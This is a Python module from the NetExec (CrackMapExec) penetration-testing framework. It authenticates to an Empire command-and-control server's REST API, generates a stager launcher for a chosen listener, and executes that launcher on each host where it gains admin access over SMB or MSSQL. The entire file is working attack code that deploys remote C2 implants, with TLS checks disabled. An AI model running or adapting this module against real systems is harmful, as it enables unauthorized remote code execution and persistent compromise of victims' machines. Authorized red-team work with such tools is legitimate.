NetExec/cme/modules/empire_exec.py

68 lines
2.7 KiB
Python

import sys
import requests
from requests import ConnectionError
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class CMEModule:
'''
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
Module by @byt3bl33d3r
'''
name='empire_exec'
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ['smb', 'mssql']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
LISTENER Listener name to generate the launcher for
'''
if not 'LISTENER' in module_options:
context.log.error('LISTENER option is required!')
sys.exit(1)
self.empire_launcher = None
headers = {'Content-Type': 'application/json'}
#Pull the host and port from the config file
base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
try:
#Pull the username and password from the config file
payload = {'username': context.conf.get('Empire', 'username'),
'password': context.conf.get('Empire', 'password')}
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
if r.status_code == 200:
token = r.json()['token']
else:
context.log.error("Error authenticating to Empire's RESTful API server!")
sys.exit(1)
payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
response = r.json()
if "error" in response:
context.log.error("Error from empire : {}".format(response["error"]))
sys.exit(1)
self.empire_launcher = response['multi/launcher']['Output']
context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
except ConnectionError as e:
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
sys.exit(1)
def on_admin_login(self, context, connection):
if self.empire_launcher:
connection.execute(self.empire_launcher)
context.log.success('Executed Empire Launcher')